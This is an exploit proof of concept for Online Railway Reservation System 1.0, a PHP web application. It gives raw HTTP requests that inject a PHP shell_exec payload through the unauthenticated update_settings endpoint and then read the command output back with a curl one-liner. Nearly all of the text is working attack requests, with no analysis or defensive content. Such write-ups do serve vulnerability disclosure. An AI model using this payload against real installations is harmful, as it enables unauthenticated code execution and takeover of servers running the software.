Online Railway Reservation System 1.0 – Remote Code Execution (RCE) (Unauthenticated)
#Exploit Title: Online Railway Reservation System 1.0 - Remote Code Execution (RCE) (Unauthenticated) #Date: 07/01/2022 #Exploit Author: Zachary Asher #Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html #Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip #Version: 1.0 #Tested on: Online Railway Reservation System 1.0 ===================================================================================================================================== Command Execution ===================================================================================================================================== POST /orrs/classes/SystemSettings.php?f=update_settings HTTP/1.1 Host: localhost Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------41914587873111789572282654447 Content-Length: 164 -----------------------------41914587873111789572282654447 Content-Disposition: form-data; name="content[welcome]" <?php echo shell_exec('id -a'); ?> ===================================================================================================================================== View Output ===================================================================================================================================== GET /orrs/ HTTP/1.1 Host: localhost Content-Length: 2 ===================================================================================================================================== View Only STDOUT ===================================================================================================================================== curl -i -s -k -X $'GET' \ -H $'Host: localhost' -H $'Content-Length: 2' \ --data-binary $'\x0d\x0a' \ $'http://localhost/orrs/'| sed -n '/\"welcome-content\"/,/<\/div/p' | grep -v '<' |